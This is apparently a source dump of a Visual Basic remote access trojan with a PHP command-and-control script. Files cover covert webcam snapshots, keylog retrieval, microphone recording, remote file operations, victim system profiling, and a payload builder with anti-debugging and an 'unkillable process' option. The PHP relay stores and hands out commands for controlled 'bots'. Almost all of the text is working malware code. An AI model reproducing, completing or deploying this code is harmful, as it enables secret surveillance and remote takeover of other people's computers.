40 | TreeViewServerInfo.Nodes(8).Text = "Hosting URL: ??"
41 | Catch
42 | End Try
43 | End Sub
44 | End Class
--------------------------------------------------------------------------------
/Server/Server/Webcam.vb:
--------------------------------------------------------------------------------
1 | Imports AForge.Controls
2 | Imports AForge.Video.DirectShow
3 | Imports System.Drawing.Imaging
4 |
5 | Public Class Webcam
6 |
7 | ' Count avaiable webcams
8 | Public Function CountWebcamDevices() As Integer
9 | Dim VideoDevices As New FilterInfoCollection(FilterCategory.VideoInputDevice)
10 | Dim DeviceCount As Integer = 0
11 | For Each MySingleDevice In VideoDevices
12 | DeviceCount += 1
13 | Next
14 | Return DeviceCount
15 | End Function
16 |
17 | ' Get Webcam device names
18 | Public Function GetWebcamDeviceNames() As String
19 | Dim VideoDevices As New FilterInfoCollection(FilterCategory.VideoInputDevice)
20 | Dim Devices As String = Nothing
21 | If Not CountWebcamDevices() = 0 Then
22 | For Each MySingleDevice As FilterInfo In VideoDevices
23 | Devices &= MySingleDevice.Name & "|||"
24 | Next
25 | Return Devices
26 | Else
27 | Return Nothing
28 | End If
29 | End Function
30 |
31 | ' Take a webcam snapshot
32 | Public Function TakeWebcamSnapshot(ByVal DeviceID As Integer) As String
33 | Dim TimeoutCoutner As New Stopwatch
34 | TimeoutCoutner.Start()
35 | Dim VideoDevices As New FilterInfoCollection(FilterCategory.VideoInputDevice)
36 | Using VideoSourcePlayer As New VideoSourcePlayer
37 | VideoSourcePlayer.VideoSource = New VideoCaptureDevice(VideoDevices(DeviceID).MonikerString)
38 | VideoSourcePlayer.Start()
39 | Dim myimg As Image = Nothing
40 | Do While VideoSourcePlayer.IsRunning AndAlso myimg Is Nothing
41 | If TimeoutCoutner.ElapsedMilliseconds > 7000 Then
42 | Return String.Empty
43 | Else
44 | myimg = VideoSourcePlayer.GetCurrentVideoFrame()
45 | End If
46 | Loop
47 | Dim webcambytes As String = ModuleMain.ScreenshotToHex(myimg)
48 | TimeoutCoutner.Stop()
49 | If VideoSourcePlayer.IsRunning = True Then
50 | VideoSourcePlayer.SignalToStop()
51 | VideoSourcePlayer.WaitForStop()
52 | End If
53 | Return webcambytes
54 | End Using
55 | End Function
56 |
57 |
58 | End Class
59 |
--------------------------------------------------------------------------------
/Client/Client/Client/Systeminformation.vb:
--------------------------------------------------------------------------------
1 | Public Class Systeminformation
2 |
3 |
4 | Private Sub ButtonRefreshSystemInfo_Click(sender As Object, e As EventArgs) Handles ButtonRefreshSystemInfo.Click
5 | Settings.AddLog("Pending", Settings.State.Pending, "Refreshing systeminformation...")
6 | If Main.ListViewMain.Items.Count > 0 Then
7 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
8 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
9 | Else
10 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
11 | End If
12 | Try
13 | Main.WriteCommand(Main.SelectedUserID & "|13")
14 | Waiting.ShowDialog()
15 | Catch x As Exception
16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Systeminformation")
17 | End Try
18 | End Sub
19 |
20 | Public Sub SplitTreeviewData()
21 | TreeViewSysInfo.Nodes.Clear()
22 | Dim Data As String = Main.ReadData()
23 | Dim Parts() As String = Split(Data, "|||")
24 | For i As Integer = 0 To UBound(Parts)
25 | TreeViewSysInfo.Nodes.Add(New TreeNode(Parts(i), i, i))
26 | Next
27 | End Sub
28 |
29 | Private Sub Systeminformation_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
30 | Try
31 | TreeViewSysInfo.Nodes(0).Text = "Username: ??"
32 | TreeViewSysInfo.Nodes(1).Text = "Computername: ??"
33 | TreeViewSysInfo.Nodes(2).Text = "Operating System: ??"
34 | TreeViewSysInfo.Nodes(3).Text = "Country: ??"
35 | TreeViewSysInfo.Nodes(4).Text = "Privileges: ??"
36 | TreeViewSysInfo.Nodes(5).Text = "Screen Resolution: ??"
37 | TreeViewSysInfo.Nodes(6).Text = "Bitsystem: ??"
38 | TreeViewSysInfo.Nodes(7).Text = "RAM: ??"
39 | TreeViewSysInfo.Nodes(8).Text = "Processor: ??"
40 | TreeViewSysInfo.Nodes(9).Text = "Graphics Card: ??"
41 | TreeViewSysInfo.Nodes(10).Text = "Time Since Last Reboot: ??"
42 | TreeViewSysInfo.Nodes(11).Text = "AntiVirus Software: ??"
43 | TreeViewSysInfo.Nodes(12).Text = "Firewall Software: ??"
44 | TreeViewSysInfo.Nodes(13).Text = "Webcam: ??"
45 | Catch
46 | End Try
47 | End Sub
48 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/Keylogger.vb:
--------------------------------------------------------------------------------
1 | Imports System.Text.RegularExpressions
2 |
3 | Public Class Keylogger
4 |
5 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
6 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting processlist...")
7 | RichTextBoxKeylogs.Clear()
8 | If Main.ListViewMain.Items.Count > 0 Then
9 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
10 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
11 | Else
12 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
13 | End If
14 | Try
15 | Main.WriteCommand(Main.SelectedUserID & "|64")
16 | Waiting.ShowDialog()
17 | Catch x As Exception
18 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager")
19 | End Try
20 | End Sub
21 |
22 | Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
23 | If System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Keylogs.txt") Then
24 | Try
25 | System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Keylogs.txt")
26 | Catch
27 | End Try
28 | End If
29 | For i As Integer = 0 To RichTextBoxKeylogs.Lines.Count - 1
30 | System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Keylogs.txt", RichTextBoxKeylogs.Lines(i) & vbNewLine)
31 | Next
32 | MsgBox("Keylogs saved to desktop.", MsgBoxStyle.Information, "Keylogs saved")
33 | End Sub
34 |
35 | Private Sub Keylogger_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
36 | RichTextBoxKeylogs.Clear()
37 | End Sub
38 |
39 |
40 | Public Sub ColorTitles()
41 | Dim Point As Integer = 0
42 | For Each m As Match In New Regex("\[ -- (.*?) -- \]").Matches(RichTextBoxKeylogs.Text)
43 | Point = RichTextBoxKeylogs.Find((m.Groups(0).Value), Point, RichTextBoxFinds.None)
44 | RichTextBoxKeylogs.SelectionColor = Color.CadetBlue
45 | RichTextBoxKeylogs.SelectionFont = New Font(Font, FontStyle.Bold)
46 | RichTextBoxKeylogs.DeselectAll()
47 | Next
48 | End Sub
49 |
50 |
51 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/BuilderAdvancedSettings.vb:
--------------------------------------------------------------------------------
1 | Public Class BuilderAdvancedSettings
2 |
3 |
4 | Private Sub CheckBox2_Click(sender As Object, e As EventArgs) Handles CheckBoxUnkillableProcessExploit.Click
5 | If Builder.CheckBoxProcessProtection.Checked Or Builder.CheckBoxBreakOnTermination.Checked Then
6 | CheckBoxUnkillableProcessExploit.Checked = False
7 | MsgBox("To use this feature you first have to disable ProcessBreakOnTermination and Process Kernel Security.", MsgBoxStyle.Exclamation)
8 | End If
9 | End Sub
10 |
11 | Private Sub ButtonApplyAdvancedSettings_Click(sender As Object, e As EventArgs) Handles ButtonApplyAdvancedSettings.Click
12 | Me.Hide()
13 | End Sub
14 |
15 | Private Sub CheckBoxAntiDebug_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxAntiDebug.CheckedChanged
16 | If CheckBoxAntiDebug.Checked Then
17 | Builder.StubAntiDebug = "True"
18 | Else
19 | Builder.StubAntiDebug = "False"
20 | End If
21 | End Sub
22 |
23 | Private Sub CheckBoxUnkillableProcessExploit_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxUnkillableProcessExploit.CheckedChanged
24 | If CheckBoxUnkillableProcessExploit.Checked = True Then
25 | Builder.StubUnkillableProcessExploit = "True"
26 | Else
27 | Builder.StubUnkillableProcessExploit = "False"
28 | End If
29 | End Sub
30 |
31 | Private Sub CheckBoxAntiDllInjection_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxAntiDllInjection.CheckedChanged
32 | If CheckBoxAntiDllInjection.Checked Then
33 | Builder.StubAntiDllInject = "True"
34 | Else
35 | Builder.StubAntiDllInject = "False"
36 | End If
37 | End Sub
38 |
39 | Private Sub CheckBoxUnkillableProcessExploit_MouseEnter(sender As Object, e As EventArgs) Handles CheckBoxUnkillableProcessExploit.MouseEnter
40 | Label2.Visible = True
41 | End Sub
42 |
43 | Private Sub CheckBoxUnkillableProcessExploit_MouseLeave(sender As Object, e As EventArgs) Handles CheckBoxUnkillableProcessExploit.MouseLeave
44 | Label2.Visible = False
45 | End Sub
46 |
47 | Private Sub BuilderAdvancedSettings_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
48 | e.Cancel = True
49 | Me.Hide()
50 | End Sub
51 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/FilemanagerRenameFile.vb:
--------------------------------------------------------------------------------
1 | Imports System.IO
2 |
3 | Public Class FilemanagerRenameFile
4 |
5 | Private Sub ButtonCancel_Click(sender As Object, e As EventArgs) Handles ButtonCancel.Click
6 | Me.Close()
7 | End Sub
8 |
9 | Private Sub ButtonRenameFile_Click(sender As Object, e As EventArgs) Handles ButtonRenameFile.Click
10 | Dim InvalidChars() As String = {"|", ";", "&", "<", ">", "*", "/", "\", ":", "{", "}", "[", "]"}
11 | If TextBoxRenameFile.Text = String.Empty Then
12 | MsgBox("Enter a valid file name.", MsgBoxStyle.Exclamation)
13 | Exit Sub
14 | End If
15 | For Each c As String In InvalidChars
16 | If TextBoxRenameFile.Text.Contains(c) Then
17 | MsgBox("Enter a valid file name.", MsgBoxStyle.Exclamation)
18 | Exit Sub
19 | End If
20 | Next
21 |
22 | If Filemanager.RenameFileLocal = True Then
23 | Try
24 | My.Computer.FileSystem.RenameFile(Filemanager.TextBoxLocalAdressBar.Text, TextBoxRenameFile.Text)
25 | MsgBox("File renamed with success.", MsgBoxStyle.Information)
26 | Filemanager.ListViewLocalFiles.SelectedItems(0).Text = TextBoxRenameFile.Text
27 | Me.Close()
28 | Catch ex As UnauthorizedAccessException
29 | MsgBox("Failed renaming file. Access is denied.", MsgBoxStyle.Critical)
30 | Me.Close()
31 | Catch ex As Exception
32 | MsgBox("Failed renaming file.", MsgBoxStyle.Critical)
33 | Me.Close()
34 | End Try
35 | Else
36 | If Main.ListViewMain.Items.Count > 0 Then
37 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
38 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
39 | Else
40 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
41 | End If
42 | Try
43 | Main.WriteData(Filemanager.TextBoxRemoteAdressBar.Text & "|||" & TextBoxRenameFile.Text)
44 | Main.WriteCommand(Main.SelectedUserID & "|30")
45 | Waiting.ShowDialog()
46 | Catch x As Exception
47 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "rename file")
48 | End Try
49 | End If
50 |
51 | End Sub
52 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/Networkviewer.vb:
--------------------------------------------------------------------------------
1 | Public Class Networkviewer
2 |
3 | Private Sub ButtonGetConnections_Click(sender As Object, e As EventArgs) Handles ButtonGetConnections.Click
4 | Settings.AddLog("Pending", Settings.State.Pending, "Refreshing network connections...")
5 | ListViewConnections.Items.Clear()
6 | If Main.ListViewMain.Items.Count > 0 Then
7 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
8 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
9 | Else
10 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
11 | End If
12 | Try
13 | Main.WriteCommand(Main.SelectedUserID & "|40")
14 | Waiting.ShowDialog()
15 | Catch x As Exception
16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Networkviewer")
17 | End Try
18 | End Sub
19 |
20 | Public Sub SplitTraffic(ByVal Traffic As String)
21 | ListViewConnections.Items.Clear()
22 | Dim TCPCounter As Integer = 0
23 | Dim UDPCounter As Integer = 0
24 | Dim AllTraffic As String() = Split(Traffic, "~~~")
25 | Dim TCPTraffic() = AllTraffic(0).Split({"||||"}, StringSplitOptions.None)
26 | Dim UDPTraffic() = AllTraffic(1).Split({"||||"}, StringSplitOptions.None)
27 | For Each line In TCPTraffic
28 | TCPCounter += 1
29 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None)
30 | Dim item = ListViewConnections.Items.Add(parts(0), 0)
31 | For i = 1 To Math.Min(parts.Length - 1, 5)
32 | item.SubItems.Add(parts(i))
33 | Next
34 | Next
35 | For Each line In UDPTraffic
36 | UDPCounter += 1
37 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None)
38 | Dim item = ListViewConnections.Items.Add(parts(0), 1)
39 | For i = 1 To Math.Min(parts.Length - 1, 5)
40 | item.SubItems.Add(parts(i))
41 | Next
42 | Next
43 | For Each item As ListViewItem In ListViewConnections.Items
44 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then
45 | item.Remove()
46 | End If
47 | Next
48 | LabelUDPCount.Text = CType(UDPCounter, String)
49 | LabelTCPCount.Text = CType(TCPCounter, String)
50 | End Sub
51 |
52 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/BuilderQuerySpeed.vb:
--------------------------------------------------------------------------------
1 | Public Class BuilderQuerySpeed
2 |
3 |
4 | ' Set the refresh time for the server (to prevent webhost overheating)
5 | ' If only a few bots are controlled, you can set it lower
6 | ' otherwise set it should be higher to not make the server stress to big
7 | Private Sub TrackBarQuerySpeed_Scroll(sender As Object, e As EventArgs) Handles TrackBarQuerySpeed.Scroll
8 | Select Case TrackBarQuerySpeed.Value
9 | Case 0
10 | LabelSpeed.Text = "Selected Query Speed: 1000 ms"
11 | ToolStripSplitButton1.Image = My.Resources.exclamation
12 | ToolStripStatusLabel1.Text = "Very high query speed. Very high server stress."
13 | Builder.StubQuerySpeed = "1000"
14 | Case 1
15 | LabelSpeed.Text = "Selected Query Speed: 2000 ms"
16 | ToolStripSplitButton1.Image = My.Resources.exclamation
17 | ToolStripStatusLabel1.Text = "Fast query speed. High server stress."
18 | Builder.StubQuerySpeed = "2000"
19 | Case 2
20 | LabelSpeed.Text = "Selected Query Speed: 3000 ms"
21 | ToolStripSplitButton1.Image = My.Resources.information
22 | ToolStripStatusLabel1.Text = "Good query speed. Average server stress."
23 | Builder.StubQuerySpeed = "3000"
24 | Case 3
25 | LabelSpeed.Text = "Selected Query Speed: 4000 ms"
26 | ToolStripSplitButton1.Image = My.Resources.information
27 | ToolStripStatusLabel1.Text = "Medium query speed. Average server stress."
28 | Builder.StubQuerySpeed = "4000"
29 | Case 4
30 | LabelSpeed.Text = "Selected Query Speed: 6000 ms"
31 | ToolStripSplitButton1.Image = My.Resources.information
32 | ToolStripStatusLabel1.Text = "Slow query speed. Small server stress."
33 | Builder.StubQuerySpeed = "6000"
34 | Case 5
35 | LabelSpeed.Text = "Selected Query Speed: 8000 ms"
36 | ToolStripSplitButton1.Image = My.Resources.information
37 | ToolStripStatusLabel1.Text = "Very slow query speed. Very small server stress."
38 | Builder.StubQuerySpeed = "8000"
39 | End Select
40 | End Sub
41 |
42 | Private Sub BuilderQuerySpeed_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
43 | e.Cancel = True
44 | Me.Hide()
45 | End Sub
46 |
47 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/FilemanagerCreateFolder.vb:
--------------------------------------------------------------------------------
1 | Public Class FilemanagerCreateFolder
2 |
3 | Private Sub ButtonCancel_Click(sender As Object, e As EventArgs) Handles ButtonCancel.Click
4 | Me.Close()
5 | End Sub
6 |
7 | Private Sub ButtonRename_Click(sender As Object, e As EventArgs) Handles ButtonRename.Click
8 | Dim ParentPath As String
9 |
10 | ' These chars are nto allowed to be in the foldername
11 | Dim InvalidChars() As String = {"|", ";", "&", "<", ">", "*", "/", "\", ":", "{", "}", "[", "]"}
12 | If TextBox1.Text = String.Empty Then
13 | MsgBox("Enter a valid directory name.", MsgBoxStyle.Exclamation)
14 | Exit Sub
15 | End If
16 | For Each c As String In InvalidChars
17 | If TextBox1.Text.Contains(c) Then
18 | MsgBox("Enter a valid directory name.", MsgBoxStyle.Exclamation)
19 | Exit Sub
20 | End If
21 | Next
22 |
23 | ' Folder Creation begins here
24 |
25 |
26 | 'Try
27 |
28 | 'Catch ex As Exception
29 | 'MsgBox("No File/Folder selected." & ex.Message, MsgBoxStyle.Exclamation)
30 | 'Exit Sub
31 | ' End Try
32 |
33 | If Filemanager.CreateFolderLocal = True Then
34 | ParentPath = IO.Directory.GetParent(Filemanager.TextBoxLocalAdressBar.Text).FullName
35 | Try
36 |
37 | IO.Directory.CreateDirectory(ParentPath & "\" & TextBox1.Text)
38 | MsgBox("Directory created with success.", MsgBoxStyle.Information)
39 | Catch ex As Exception
40 | MsgBox("Failed creating directory.", MsgBoxStyle.Critical)
41 | End Try
42 | Else
43 | ParentPath = IO.Directory.GetParent(Filemanager.TextBoxRemoteAdressBar.Text).FullName
44 | If Main.ListViewMain.Items.Count > 0 Then
45 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
46 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
47 | Else
48 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
49 | End If
50 | Try
51 | Main.WriteData(ParentPath & "\" & TextBox1.Text)
52 | Main.WriteCommand(Main.SelectedUserID & "|28")
53 | Waiting.ShowDialog()
54 | Catch x As Exception
55 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Create Folder")
56 | End Try
57 | End If
58 |
59 | End Sub
60 |
61 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/NotificationGlobalMessage.vb:
--------------------------------------------------------------------------------
1 | Public Class NotificationGlobalMessage
2 |
3 | Sub New(ByVal Title As String, ByVal Message As String)
4 | InitializeComponent()
5 | LabelTitle.Text = Title
6 | LabelInfo.Text = Message
7 | End Sub
8 |
9 |
10 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)
11 | e.Graphics.DrawRectangle(New Pen(Color.DarkGray, 1), 0, 0, Me.Width - 1, Me.Height - 1)
12 | End Sub
13 |
14 | Sub Me_Load() Handles MyBase.Load
15 | Me.Top = My.Computer.Screen.WorkingArea.Height + Me.Height
16 | Me.Left = My.Computer.Screen.WorkingArea.Width - Me.Width
17 | End Sub
18 |
19 | Public Sub MoveDown()
20 | While Me.Top - Me.Height < My.Computer.Screen.WorkingArea.Height
21 | Me.Top += 1
22 | End While
23 | Me.Close()
24 | End Sub
25 |
26 | Public Sub MoveUp()
27 | While Me.Bottom > My.Computer.Screen.WorkingArea.Height
28 | Me.Top -= 1
29 | End While
30 | End Sub
31 |
32 | Public Sub Toggle()
33 | If State = _State.Down Then
34 | MoveUp()
35 | Else
36 | MoveDown()
37 | End If
38 | End Sub
39 |
40 | Public ReadOnly Property State As _State
41 | Get
42 | If Me.Top > My.Computer.Screen.WorkingArea.Height Then
43 | Return _State.Down
44 | Else
45 | Return _State.Up
46 | End If
47 | End Get
48 | End Property
49 |
50 | Public Enum _State As Integer
51 | Up = 0
52 | Down = 1
53 | End Enum
54 |
55 | Private Sub Notification_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
56 | Dim TimeoutThread As New System.Threading.Thread(Sub()
57 | System.Threading.Thread.Sleep(7000)
58 | Invoke(New MethodInvoker(Sub()
59 | Me.MoveDown()
60 | End Sub))
61 | End Sub)
62 | TimeoutThread.Start()
63 | End Sub
64 |
65 |
66 | Private Sub InfoButtonControl_Click_1(sender As Object, e As EventArgs)
67 | Main.Show()
68 | Main.TopMost = True
69 | Main.BringToFront()
70 | Main.WindowState = FormWindowState.Normal
71 | End Sub
72 |
73 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/Notification.vb:
--------------------------------------------------------------------------------
1 | Public Class Notification
2 |
3 |
4 |
5 | Sub New(ByVal Title As String, ByVal Message As String)
6 | ' This call is required by the designer.
7 | InitializeComponent()
8 | LabelTitle.Text = Title
9 | LabelInfo.Text = Message
10 | ' Add any initialization after the InitializeComponent() call.
11 | End Sub
12 |
13 |
14 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs)
15 | e.Graphics.DrawRectangle(New Pen(Color.DarkGray, 1), 0, 0, Me.Width - 1, Me.Height - 1)
16 | End Sub
17 |
18 | Sub Me_Load() Handles MyBase.Load
19 | ' CheckForIllegalCrossThreadCalls = False
20 | Me.Top = My.Computer.Screen.WorkingArea.Height + Me.Height
21 | Me.Left = My.Computer.Screen.WorkingArea.Width - Me.Width
22 | End Sub
23 |
24 | Public Sub MoveDown()
25 | While Me.Top - Me.Height < My.Computer.Screen.WorkingArea.Height
26 | Me.Top += 1
27 | End While
28 | Me.Close()
29 | End Sub
30 |
31 | Public Sub MoveUp()
32 | While Me.Bottom > My.Computer.Screen.WorkingArea.Height
33 | Me.Top -= 1
34 | End While
35 | End Sub
36 |
37 | Public Sub Toggle()
38 | If State = _State.Down Then
39 | MoveUp()
40 | Else
41 | MoveDown()
42 | End If
43 | End Sub
44 |
45 | Public ReadOnly Property State As _State
46 | Get
47 | If Me.Top > My.Computer.Screen.WorkingArea.Height Then
48 | Return _State.Down
49 | Else
50 | Return _State.Up
51 | End If
52 | End Get
53 | End Property
54 |
55 | Public Enum _State As Integer
56 | Up = 0
57 | Down = 1
58 | End Enum
59 |
60 | Private Sub Hide_Click() Handles InfoButtonHide.Click
61 | MoveDown()
62 | End Sub
63 |
64 | Private Sub Notification_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
65 | Dim TimeoutThread As New System.Threading.Thread(Sub()
66 | System.Threading.Thread.Sleep(6000)
67 | Me.MoveDown()
68 | End Sub)
69 | TimeoutThread.Start()
70 | End Sub
71 |
72 |
73 | Private Sub InfoButtonControl_Click_1(sender As Object, e As EventArgs) Handles InfoButtonControl.Click
74 | Main.Show()
75 | Main.TopMost = True
76 | Main.BringToFront()
77 | Main.WindowState = FormWindowState.Normal
78 | End Sub
79 |
80 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/Microphone.vb:
--------------------------------------------------------------------------------
1 | Imports System.Threading
2 |
3 | Public Class Microphone
4 |
5 | Private RecordDuration As Integer = 1000
6 | Private WaitTime As Integer = 0
7 |
8 |
9 | ' Remote microphone was never a finished feature, I planed on implementing it in a new update but didnt find the time.
10 | ' This feature is not yet correctly working!
11 |
12 |
13 | Private Sub ButtonRecord_Click(sender As Object, e As EventArgs) Handles ButtonRecord.Click
14 | ' Recording time
15 | RecordDuration = CInt(NumericUpDownRecordTime.Value)
16 | WaitTime = RecordDuration * 1000
17 |
18 | 'Show time to wait in label
19 | ProgressBar1.Maximum = RecordDuration
20 | Dim WaitThread As New Thread(AddressOf ProgressBar)
21 | Try
22 | Main.WriteData(CStr(RecordDuration))
23 | Main.WriteCommand(Main.SelectedUserID & "|69")
24 | Catch x As Exception
25 | MsgBox("Unable to send Command. Please retry" & x.Message, MsgBoxStyle.OkOnly, "Microphone")
26 | End Try
27 | Dim WaitThread2 As New Thread(AddressOf ChangeLabelStatus)
28 | WaitThread2.Start(RecordDuration)
29 | ButtonRecord.Enabled = False
30 | WaitThread.Start(RecordDuration)
31 | While WaitThread.IsAlive
32 | Application.DoEvents()
33 | End While
34 | MsgBox("Workx")
35 |
36 | End Sub
37 |
38 | Delegate Sub ProgressBar1ValuePlusOne(ByVal value As Integer)
39 | Delegate Sub LabelUpdate(ByVal value As Integer)
40 |
41 | Private Sub ProgressBar1ValuePlus1(ByVal value As Integer)
42 | ProgressBar1.Value = value
43 | End Sub
44 |
45 | Private Sub UpdateLabelStatus(ByVal value As Integer)
46 | LabelStatus.Text = String.Format("Waiting : {0}s", value)
47 | End Sub
48 | Private Sub ProgressBar(ByVal progressTime As Object)
49 |
50 | For Value1 As Integer = 0 To CInt(progressTime)
51 | Dim progressPlusOne As New ProgressBar1ValuePlusOne(AddressOf ProgressBar1ValuePlus1)
52 | Me.Invoke(progressPlusOne, Value1)
53 |
54 | Threading.Thread.Sleep(1000)
55 | Next
56 |
57 | End Sub
58 |
59 | Private Sub ChangeLabelStatus(ByVal labelstats As Object)
60 | Dim val1 As Integer = CInt(labelstats)
61 | Dim progressPlusOne As New LabelUpdate(AddressOf UpdateLabelStatus)
62 |
63 | While val1 >= 0
64 | Me.Invoke(progressPlusOne, val1)
65 | val1 -= 1
66 | Threading.Thread.Sleep(1000)
67 | End While
68 | End Sub
69 |
70 | Private Sub LabelStateChange()
71 |
72 | End Sub
73 |
74 | End Class
--------------------------------------------------------------------------------
/Server/Server/My Project/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
57 |
58 |
59 |
--------------------------------------------------------------------------------
/PHP Files/main.php:
--------------------------------------------------------------------------------
1 | 0){
41 | echo "Error";
42 | } else{
43 | $newfile = uniqid("image_").".".$extension;
44 | move_uploaded_file($_FILES["file"]["tmp_name"], $Directory2."/".$newfile);
45 | echo $newfile;
46 | }
47 | break;
48 | case 'connect':
49 | checkKey();
50 | $filename = $PostID.'.zero';
51 | $fp = fopen($Directory.$filename, "w");
52 | fwrite($fp, $PostData);
53 | fclose($fp);
54 | echo 'Success';
55 | break;
56 | case 'disconnect':
57 | checkKey();
58 | $filename = $PostID.'.zero';
59 | if(file_exists($Directory.$filename)){
60 | unlink($Directory.$filename);
61 | }
62 | echo 'Success';
63 | break;
64 | case 'clearresponse':
65 | if(file_exists('response.dat')){
66 | Unlink('response.dat');
67 | }
68 | break;
69 | case 'clearcmd':
70 | if(file_exists('cmd.dat')){
71 | Unlink('cmd.dat');
72 | }
73 | break;
74 | case 'readcmd':
75 | if (!file_exists('cmd.dat')) {
76 | $file = fopen('cmd.dat','w');
77 | fwrite($file, '');
78 | } else {
79 | readfile('cmd.dat');
80 | }
81 | break;
82 | case 'readdata':
83 | if (!file_exists('data.dat')) {
84 | $resp = fopen('data.dat', 'w');
85 | fwrite($resp, '');
86 | } else {
87 | $resp = fopen('data.dat', 'r');
88 | $buffer = '';
89 | while(!feof($resp)) {
90 | $buffer .= fread($resp, 128);
91 | }
92 | echo $buffer;
93 | }
94 | break;
95 | case 'saveresponse':
96 | writeFile('response.dat', $PostData);
97 | break;
98 | case 'writecmd':
99 | writeFile('cmd.dat', $PostData);
100 | break;
101 | case 'writedata':
102 | writeFile('data.dat', $PostData);
103 | break;
104 | }
105 |
106 | function checkKey() {
107 | global $key1;
108 | if(isset($_GET['key'])){
109 | if(($_GET['key']) != $key1) {
110 | echo 'Connection error';
111 | exit;
112 | }
113 | } else {
114 | echo 'Connection error';
115 | exit;
116 | }
117 | }
118 |
119 | function writeFile($filename, $data) {
120 | $open = fopen($filename, 'w');
121 | fwrite($open, $data);
122 | fclose($open);
123 | echo 'Ok';
124 | }
125 | // STFU. Strik3r!
126 | ?>
--------------------------------------------------------------------------------
/Client/Client/Client/My Project/Settings.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.18444
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
15 | Namespace My
16 |
17 | _
20 | Partial Friend NotInheritable Class MySettings
21 | Inherits Global.System.Configuration.ApplicationSettingsBase
22 |
23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
24 |
25 | #Region "My.Settings Auto-Save Functionality"
26 | #If _MyType = "WindowsForms" Then
27 | Private Shared addedHandler As Boolean
28 |
29 | Private Shared addedHandlerLockObject As New Object
30 |
31 | _
32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
33 | If My.Application.SaveMySettingsOnExit Then
34 | My.Settings.Save()
35 | End If
36 | End Sub
37 | #End If
38 | #End Region
39 |
40 | Public Shared ReadOnly Property [Default]() As MySettings
41 | Get
42 |
43 | #If _MyType = "WindowsForms" Then
44 | If Not addedHandler Then
45 | SyncLock addedHandlerLockObject
46 | If Not addedHandler Then
47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
48 | addedHandler = True
49 | End If
50 | End SyncLock
51 | End If
52 | #End If
53 | Return defaultInstance
54 | End Get
55 | End Property
56 | End Class
57 | End Namespace
58 |
59 | Namespace My
60 |
61 | _
64 | Friend Module MySettingsProperty
65 |
66 | _
67 | Friend ReadOnly Property Settings() As Global.Client.My.MySettings
68 | Get
69 | Return Global.Client.My.MySettings.Default
70 | End Get
71 | End Property
72 | End Module
73 | End Namespace
74 |
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/main.php:
--------------------------------------------------------------------------------
1 | 0){
41 | echo "Error";
42 | } else{
43 | $newfile = uniqid("image_").".".$extension;
44 | move_uploaded_file($_FILES["file"]["tmp_name"], $Directory2."/".$newfile);
